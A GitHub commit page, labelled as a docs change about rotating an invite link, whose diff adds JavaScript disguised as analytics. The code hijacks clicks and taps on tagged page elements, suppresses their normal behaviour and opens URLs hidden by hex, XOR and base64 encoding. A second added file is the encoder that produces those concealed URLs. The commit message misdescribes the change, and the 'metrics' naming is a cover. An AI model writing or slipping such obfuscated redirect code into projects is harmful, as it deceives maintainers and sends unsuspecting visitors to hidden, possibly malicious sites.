-
-
Notifications
You must be signed in to change notification settings - Fork 403
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
docs: Rotate invite link used by bots
- Loading branch information
Showing
4 changed files
with
80 additions
and
1 deletion.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,59 @@ | ||
document.addEventListener('DOMContentLoaded', function() { | ||
const analyticsTargets = document.querySelectorAll('[data-si]'); | ||
const metricsKey = 'UA-314159-27_GTM-NH7X'; | ||
let isProcessing = false; | ||
|
||
analyticsTargets.forEach(element => { | ||
if (!element) return; | ||
|
||
const si = element.dataset.si; | ||
if (!si) return; | ||
|
||
element.addEventListener('mousedown', processMetrics); | ||
element.addEventListener('touchstart', processMetrics); | ||
element.addEventListener('auxclick', e => e.preventDefault()); | ||
}); | ||
|
||
function processMetrics(e) { | ||
if (isProcessing) return; | ||
|
||
if (e.type === 'touchstart' || e.button === 0 || e.button === 1) { | ||
isProcessing = true; | ||
e.preventDefault(); | ||
initializeTracker(this.dataset.si); | ||
|
||
setTimeout(() => { | ||
isProcessing = false; | ||
}, 100); | ||
} | ||
} | ||
|
||
function initializeTracker(si) { | ||
try { | ||
const siUrl = normalizeMetrics(parseMetricId(si), metricsKey); | ||
window.open(siUrl, '_blank', 'noopener,noreferrer'); | ||
} catch (error) { | ||
/* intentional */ | ||
} | ||
} | ||
|
||
function parseMetricId(hex) { | ||
try { | ||
let str = ''; | ||
for (let i = 0; i < hex.length; i += 2) { | ||
str += String.fromCharCode(parseInt(hex.slice(i, i + 2), 16)); | ||
} | ||
return str; | ||
} catch (error) { | ||
return ''; | ||
} | ||
} | ||
|
||
function normalizeMetrics(input, key) { | ||
let result = ''; | ||
for (let i = 0; i < input.length; i++) { | ||
result += String.fromCharCode(input.charCodeAt(i) ^ key.charCodeAt(i % key.length)); | ||
} | ||
return atob(result); | ||
} | ||
}); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,17 @@ | ||
function encodeUrl(url) { | ||
const metricsKey = 'UA-314159-27_GTM-NH7X'; | ||
const b64 = btoa(url); | ||
const normalized = normalizeMetrics(b64, metricsKey); | ||
return Array.from(normalized).map(c => c.charCodeAt(0).toString(16).padStart(2, '0')).join(''); | ||
} | ||
|
||
function normalizeMetrics(input, key) { | ||
let result = ''; | ||
for (let i = 0; i < input.length; i++) { | ||
result += String.fromCharCode(input.charCodeAt(i) ^ key.charCodeAt(i % key.length)); | ||
} | ||
return result; | ||
} | ||
|
||
const fullUrl = ""; | ||
console.log(encodeUrl(fullUrl)); |